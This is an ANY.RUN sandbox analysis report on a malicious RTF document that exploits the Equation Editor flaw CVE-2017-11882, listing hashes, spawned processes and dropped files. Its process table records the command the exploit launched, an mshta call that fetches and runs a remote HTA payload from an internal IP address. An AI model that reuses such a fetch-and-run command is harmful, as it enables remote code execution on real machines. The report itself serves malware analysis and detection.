analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

88b4349f456b35820c9fe7204498062b3dd1dbe0c9f72c5ace885e5934a26b20

Full analysis: https://app.any.run/tasks/087627fd-aa19-48cb-9d00-ab36289e6767
Verdict: Malicious activity
Analysis date: June 19, 2019, 11:03:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

7364D803D906F6C81412ED64F43E2B1A

SHA1:

99D26C304699C1620BF29ED099EEB378B282F72A

SHA256:

88B4349F456B35820C9FE7204498062B3DD1DBE0C9F72C5ACE885E5934A26B20

SSDEEP:

24576:Kj1tsG3W6xel7kXbXUQeCTrLarfvwdXNG0kPjk8RoFNk1j:v

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3580)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3580)
      • EQNEDT32.EXE (PID: 3732)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 3580)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3288)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3732)
      • EQNEDT32.EXE (PID: 3580)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3288)

    • Reads internet explorer settings

      • mshta.exe (PID: 2232)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
4
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe eqnedt32.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
3288"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\88b4349f456b35820c9fe7204498062b3dd1dbe0c9f72c5ace885e5934a26b20.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3732"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3580"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2232mshta http://192.168.35.52:8080/Yosd6hBdaPxvs.htaC:\Windows\system32\mshta.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Total events
1 014
Read events
569
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
3288WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREF31.tmp.cvr —
MD5:—
SHA256:—
3288WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\93334EF0.wmf —
MD5:—
SHA256:—
3288WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\88b4349f456b35820c9fe7204498062b3dd1dbe0c9f72c5ace885e5934a26b20.rtf.LNK —
MD5:—
SHA256:—
3288WINWORD.EXEC:\Users\admin\Desktop\~$b4349f456b35820c9fe7204498062b3dd1dbe0c9f72c5ace885e5934a26b20.rtfpgc
MD5:166FD9B8539C0C81D7D9765AADD03DCE
SHA256:295EAB38900236B479CD7C4D25FCAF9B6BB648953247620A40C4FD23B8E2D73B
3288WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:0DAC8B03C734EBE8F4978F09D501C616
SHA256:83C2D90D0F94CDDC4B8300A1850C354F6CD300017B9C2862EC2466594194159D
3288WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:0898AB4D8FE871BDFFBB11EAD05C912A
SHA256:DF6171048C9F6813053697BA3E4BC57CC0456083FCC40089DACEB49F0A2E13F2
3288WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1CBDE5EB.wmfwmf
MD5:975B76E8E77D57CC386AF977A08B1E31
SHA256:8D80E9B9B39CD00F3BFADB3B2538DC46845FE8D0E7854D5DD9C9C381150DEDAD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
88b4349f456b35820c9fe7204498062b3dd1dbe0c9f72c5ace885e5934a26b20